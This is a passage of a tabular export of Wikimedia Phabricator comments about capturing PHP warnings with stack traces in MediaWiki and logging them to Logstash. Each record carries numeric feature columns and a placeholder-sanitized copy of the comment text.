If the handler returns false then $php_errormsg is not set (based on code inspection). Grep shows it being used by PEAR Net/Socket, it calls @ini_set('track_errors', 1).",,,1487619640,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,190,,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,22.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,7.0,17.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.869565217391304,0.7608695652173914,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

If the handler returns false then $php_errormsg is not set (based on code inspection). Grep shows it being used by PEAR Net/Socket, it callsSCREEN_NAME('track_errors', 1)."
812691,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,">>! In T45086#3041557, @bd808 wrote:
> How is raising an unhandled exception functionally different than passing control back to the default error handler? Is this an attempt to get more data into the PHP runtime's error log or less? I'm confused about the goal here.

The point is that the handler should not return false on errors which PHP would only log but not abort on, so that warnings don't get duplicated. For errors which need the script to abort, IMO just push them to the exception channel (ie. don't log in the error handler but throw an exception) because that behaves nicer with non-log-based debugging (e.g. the developer would see a stack trace instead of just an error message, the user would see an exception hash that they can report). But logging and returning false, or just `die`ing, are also viable alternatives, the primary issue is log duplication for non-fatals.",,,1487619367,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,190,,0.0,0.0,0.0,0.0,2.0,4.5,1.5,1.0,0.0,0.0,2.0,1.0,0.0,0.5,0.0,0.0,0.0,8.5,8.5,0.0,0.0,0.5,0.5,0.0,1.0,1.0,0.0,0.0,1.0,2.0,0.0,4.5,1.5,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,2.5,0.0,0.0,1.0,0.0,0.0,17.5,1.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.5,0.0,7.5,2.0,4.5,3.0,3.5,9.5,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,1.5,8.5,1.5,0.0,0.0,0.0,1.5,0.0,1.0,3.0,0.5,1.5,1.0,0.0,0.0,3.9924242424242427,0.7424242424242424,"QUOTE
QUOTE

The point is that the handler should not return false on errors which PHP would only log but not abort on, so that warnings don't get duplicated. For errors which need the script to abort, IMO just push them to the exception channel (ie. don't log in the error handler but throw an exception) because that behaves nicer with non-log-based debugging (e.g. the developer would see a stack trace instead of just an error message, the user would see an exception hash that they can report). But logging and returning false, or just CODEing, are also viable alternatives, the primary issue is log duplication for non-fatals."
812689,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,">>! In T45086#3041550, @Tgr wrote:
>>>! In T45086#3041541, @bd808 wrote:
>> By not returning false and instead handling everything internally in the custom handler, the handler itself becomes responsible for deciding when to abort the request.
> 
> Yes, and it's a trivial decision (assuming we want to replicate the existing behavior): just abort on `*_ERROR`, unless PHP error reporting is turned off. So would there be any disadvantage to doing that? We could abort via exceptions which is more useful (HHVM can log the trace when the script aborts with an error but normal PHP can't), plus generally have better logging, at the cost of higher log volume / manual setup needed. It should probably be configurable and off by default but for WMF servers (and anyone else who cares enough about error logging to fine-tune it) it seems like a win.

How is raising an unhandled exception functionally different than passing control back to the default error handler? Is this an attempt to get more data into the PHP runtime's error log or less? I'm confused about the goal here.",,,1487618837,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,190,,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,17.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,9.0,9.0,4.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,4.0,4.0,0.0,0.0,4.092592592592593,0.7592592592592593,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

How is raising an unhandled exception functionally different than passing control back to the default error handler? Is this an attempt to get more data into the PHP runtime's error log or less? I'm confused about the goal here."
812686,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,">>! In T45086#3041541, @bd808 wrote:
> By not returning false and instead handling everything internally in the custom handler, the handler itself becomes responsible for deciding when to abort the request.

Yes, and it's a trivial decision (assuming we want to replicate the existing behavior): just abort on `*_ERROR`, unless PHP error reporting is turned off. So would there be any disadvantage to doing that? We could abort via exceptions which is more useful (HHVM can log the trace when the script aborts with an error but normal PHP can't), plus generally have better logging, at the cost of higher log volume / manual setup needed. It should probably be configurable and off by default but for WMF servers (and anyone else who cares enough about error logging to fine-tune it) it seems like a win.",,,1487618437,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,190,,0.5,1.0,0.0,0.5,1.0,6.5,1.5,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.5,1.0,0.0,7.0,11.0,1.0,0.5,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.5,1.0,5.0,0.5,3.0,0.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,13.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.5,0.5,1.0,0.0,0.5,0.5,0.5,0.0,4.5,2.5,6.5,1.0,4.5,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,11.0,3.0,0.5,0.0,0.0,4.0,0.0,2.0,2.0,0.0,2.5,2.0,0.0,0.0,3.944072420634921,0.8740079365079365,"QUOTE
QUOTE

Yes, and it's a trivial decision (assuming we want to replicate the existing behavior): just abort on CODE, unless PHP error reporting is turned off. So would there be any disadvantage to doing that? We could abort via exceptions which is more useful (HHVM can log the trace when the script aborts with an error but normal PHP can't), plus generally have better logging, at the cost of higher log volume / manual setup needed. It should probably be configurable and off by default but for WMF servers (and anyone else who cares enough about error logging to fine-tune it) it seems like a win."
812682,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 338821 had a related patch set uploaded (by BryanDavis):
MWExceptionHandler::handleError: Set log severity based on error level

[[https://gerrit.wikimedia.org/r/338821]]
",,,1487618087,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,190,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.655172413793103,0.896551724137931,"Change 338821 had a related patch set uploaded (by BryanDavis):
MWExceptionHandler::handleError: Set log severity based on error level

[[GERRIT_URL]]
"
812681,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,">>! In T45086#3041483, @bd808 wrote:
> One way to provide granularity without creating N log channels would be to actually use the PSR3 log level in the generated log events:

I would still put suppressed logs into their own channel because the way we seem to be using suppression is usually to prevent the program from being stopped and not so much to suppress logging, so having severity information for suppressed events seems useful. I agree about the rest (I actually wrote the patch yesterday but apparently forgot to submit it).",,,1487617990,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,190,,1.0,0.0,0.0,1.0,1.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,13.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,1.0,1.0,4.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,6.0,4.0,7.0,1.0,3.0,6.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.457142857142857,0.8285714285714286,"QUOTE
QUOTE

I would still put suppressed logs into their own channel because the way we seem to be using suppression is usually to prevent the program from being stopped and not so much to suppress logging, so having severity information for suppressed events seems useful. I agree about the rest (I actually wrote the patch yesterday but apparently forgot to submit it)."
812679,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,Is someone actually saying the log volume is too high? It looks to me like it's blocked on nobody giving a crap since 2015. Suppressed errors were removed from the stream in https://gerrit.wikimedia.org/r/#/c/177096/,,,1487617790,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,190,,0.0,3.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,17.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,11.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,17.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,4.027777777777778,0.9722222222222222,Is someone actually saying the log volume is too high? It looks to me like it's blocked on nobody giving a crap since 2015. Suppressed errors were removed from the stream in URL
812678,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,">>! In T45086#3041502, @Tgr wrote:
>>>! In T158270#3041160, @bd808 wrote:
>> We [return false from the error handler] that because it's the correct way for a default `set_error_handler()` to function. If we swallowed the errors there without returning false then `$php_errormsg` would not be populated and all errors would be handled as though the `@` suppression operator was applied to every line in the codebase.
> 
> We don't seem to use `$php_errormsg` anymore, so as far as I can see all that would do is to switch error logginrg to Monolog instead of the PHP/HHVM log files. (Assuming we die / throw an exception for errors which would interrupt program execution when unhandled.) Isn't that a good thing? It seems counterproductive to have the same error in logstash both as a Monolog event with traces etc. and a mostly useless HHVM record. Or are we worried about Monolog being more fragile / less reliable than logfiles/syslog?

I think you are confusing the log data that we collect in WMF production and how PHP/HHVM work. The error handler must either abort the execution of the request or not. By not returning false and instead handling everything internally in the custom handler, the handler itself becomes responsible for deciding when to abort the request. If the handler returns (i.e. doesn't abort the request somehow) then it is functionally the same as applying `@` suppression to all lines in all scripts.",,,1487617740,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,190,,2.0,1.0,0.0,0.0,2.0,2.5,1.0,0.0,0.0,1.0,5.0,1.0,0.0,0.0,0.0,1.0,0.0,8.0,8.5,1.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.5,2.0,0.0,0.5,0.0,0.0,0.0,3.5,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.0,0.0,11.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.5,0.5,0.0,1.0,8.0,1.5,7.5,2.5,2.0,10.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,3.5,8.5,4.5,0.0,0.0,0.0,3.5,0.0,2.0,0.0,1.0,4.0,0.0,0.0,1.0,4.323529411764706,0.7549019607843137,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I think you are confusing the log data that we collect in WMF production and how PHP/HHVM work. The error handler must either abort the execution of the request or not. By not returning false and instead handling everything internally in the custom handler, the handler itself becomes responsible for deciding when to abort the request. If the handler returns (i.e. doesn't abort the request somehow) then it is functionally the same as applying CODE suppression to all lines in all scripts."
812675,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 338820 had a related patch set uploaded (by Tim Starling):
Route PHP warnings from the handler into logstash

[[https://gerrit.wikimedia.org/r/338820]]
",,,1487617563,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,190,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,21.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.9655172413793105,0.896551724137931,"Change 338820 had a related patch set uploaded (by Tim Starling):
Route PHP warnings from the handler into logstash

[[GERRIT_URL]]
"
812671,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,">>! In T158270#3041160, @bd808 wrote:
> We [return false from the error handler] that because it's the correct way for a default `set_error_handler()` to function. If we swallowed the errors there without returning false then `$php_errormsg` would not be populated and all errors would be handled as though the `@` suppression operator was applied to every line in the codebase.

We don't seem to use `$php_errormsg` anymore, so as far as I can see all that would do is to switch error logginrg to Monolog instead of the PHP/HHVM log files. (Assuming we die / throw an exception for errors which would interrupt program execution when unhandled.) Isn't that a good thing? It seems counterproductive to have the same error in logstash both as a Monolog event with traces etc. and a mostly useless HHVM record. Or are we worried about Monolog being more fragile / less reliable than logfiles/syslog?",,,1487617325,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,190,,0.5,0.0,0.0,0.0,1.5,6.5,2.5,0.0,0.0,0.0,3.5,1.5,0.0,0.0,0.0,2.5,0.0,7.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,1.0,1.0,4.5,1.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.5,0.0,0.5,0.0,1.5,0.0,4.5,3.5,10.0,1.5,2.0,7.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,3.5,9.0,4.5,2.0,0.0,0.0,3.5,0.0,2.0,3.5,0.0,0.5,2.0,0.0,2.0,3.9466329966329967,0.8715488215488215,"QUOTE
QUOTE

We don't seem to use CODE anymore, so as far as I can see all that would do is to switch error logginrg to Monolog instead of the PHP/HHVM log files. (Assuming we die / throw an exception for errors which would interrupt program execution when unhandled.) Isn't that a good thing? It seems counterproductive to have the same error in logstash both as a Monolog event with traces etc. and a mostly useless HHVM record. Or are we worried about Monolog being more fragile / less reliable than logfiles/syslog?"
812669,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,">>! In T45086#3041403, @Tgr wrote:
> What's the current state of this task? Is it blocked in the log volume being too high? There are a few things we could do about that:
> * only log warnings (at least initially), not notices
> * sample
> * send suppressed errors to a separate channel which can be blackholed
> * cut down the number of warnings/notices in production (a lot of that has been happening recently, so maybe it's worth doing another experiment and reassess the situation?)

One way to provide granularity without creating N log channels would be to actually use the PSR3 log level in the generated log events:
* suppressed -> debug
* E_STRICT -> debug
* E_NOTICE, E_USERNOTICE, E_DEPRECATED, E_USER_DEPRECATED -> info
* E_WARNING, E_CORE_WARNING, E_COMPILE_WARNING, E_USER_WARNING -> warning
* E_RECOVERABLE_ERROR -> error

It would be a pretty simple patch to MWExceptionHandler to allow the caller of `MWExceptionHandler::logError()` to specify a severity level and then to adjust `MWExceptionHandler::handleError()` to set an appropriate level. The current implementation in `MWExceptionHandler::logError()` emits all events as severity `error`.",,,1487616845,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,190,,1.0,0.0,0.0,0.0,0.0,2.5,1.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.5,2.0,8.5,0.0,4.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,5.0,1.5,17.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,5.5,0.0,3.5,0.0,1.0,8.5,9.0,0.0,0.0,0.0,1.0,0.0,0.0,2.5,0.0,0.5,0.0,0.0,3.0,4.36911686938128,0.6591750396615548,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

One way to provide granularity without creating N log channels would be to actually use the PSR3 log level in the generated log events:
* suppressed -> debug
* E_STRICT -> debug
* E_NOTICE, E_USERNOTICE, E_DEPRECATED, E_USER_DEPRECATED -> info
* E_WARNING, E_CORE_WARNING, E_COMPILE_WARNING, E_USER_WARNING -> warning
* E_RECOVERABLE_ERROR -> error

It would be a pretty simple patch to MWExceptionHandler to allow the caller of CODE to specify a severity level and then to adjust CODE to set an appropriate level. The current implementation in CODE emits all events as severity CODE."
812654,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"What's the current state of this task? Is it blocked in the log volume being too high? There are a few things we could do about that:
* only log warnings (at least initially), not notices
* sample
* send suppressed errors to a separate channel which can be blackholed
* cut down the number of warnings/notices in production (a lot of that has been happening recently, so maybe it's worth doing another experiment and reassess the situation?)",,,1487615460,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,190,,1.0,0.0,0.0,2.0,1.0,6.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,1.0,1.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,6.0,2.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,5.0,3.0,0.0,1.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,3.0,0.0,2.0,3.0,0.0,2.0,0.0,1.0,0.0,3.8333333333333335,0.7395833333333334,"What's the current state of this task? Is it blocked in the log volume being too high? There are a few things we could do about that:
* only log warnings (at least initially), not notices
* sample
* send suppressed errors to a separate channel which can be blackholed
* cut down the number of warnings/notices in production (a lot of that has been happening recently, so maybe it's worth doing another experiment and reassess the situation?)"
448275,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"@bd808 Thanks!

Looks like we're not using `error-json` in Logstash yet. For PHP Notice and Warning events, Logstash uses the apache2/hvvm source still (which doesn't have stack traces). Currently blocked on T88732.",,,1429806541,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,94,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,11.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,27.0,0.0,2.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,9.0,20.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.136363636363637,0.9318181818181818,"SCREEN_NAME Thanks!

Looks like we're not using CODE in Logstash yet. For PHP Notice and Warning events, Logstash uses the apache2/hvvm source still (which doesn't have stack traces). Currently blocked on T88732."
419699,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"@bd808 Thanks!

Looks like we're not using `error-json` in Logstash yet. For PHP Notice and Warning events, Logstash uses the apache2/hvvm source still (which doesn't have stack traces).",,,1425357563,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,87,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,3.0,0.0,10.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,26.0,0.0,3.0,5.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,8.0,21.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0256410256410255,0.9487179487179487,"SCREEN_NAME Thanks!

Looks like we're not using CODE in Logstash yet. For PHP Notice and Warning events, Logstash uses the apache2/hvvm source still (which doesn't have stack traces)."
416817,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"@bd808 Thanks!

Looks like we're not using `error-json` in Logstash yet. For PHP Notice and Warning events, Logstash uses the apache2 error_log source still (which doesn't have stack traces).",,,1424825151,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,86,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,3.0,0.0,11.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,26.0,0.0,3.0,5.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,3.0,8.0,16.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.2368421052631575,0.9473684210526315,"SCREEN_NAME Thanks!

Looks like we're not using CODE in Logstash yet. For PHP Notice and Warning events, Logstash uses the apache2 error_log source still (which doesn't have stack traces)."
398689,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 177096 merged by jenkins-bot:
exception: Hide suppressed errors in 'error' log, flag in 'error-json'

[[https://gerrit.wikimedia.org/r/177096]]",,,1421111660,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,80,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.3333333333333335,0.7272727272727273,"Change 177096 merged by jenkins-bot:
exception: Hide suppressed errors in 'error' log, flag in 'error-json'

[[GERRIT_URL]]"
395461,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 177095 merged by jenkins-bot:
exception: Implement error-json log

[[https://gerrit.wikimedia.org/r/177095]]",,,1420489388,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,79,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.6818181818181817,0.8181818181818182,"Change 177095 merged by jenkins-bot:
exception: Implement error-json log

[[GERRIT_URL]]"
337703,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 177096 had a related patch set uploaded (by Krinkle):
exception: Hide suppressed errors in 'error' log, flag in 'error-json'

[[https://gerrit.wikimedia.org/r/177096]]

#patch-for-review",,,1418054876,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,75,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,9.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,3.3636363636363638,0.75,"Change 177096 had a related patch set uploaded (by Krinkle):
exception: Hide suppressed errors in 'error' log, flag in 'error-json'

[[GERRIT_URL]]

#patch-for-review"
337702,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 177095 had a related patch set uploaded (by Krinkle):
exception: Implement error-json log

[[https://gerrit.wikimedia.org/r/177095]]

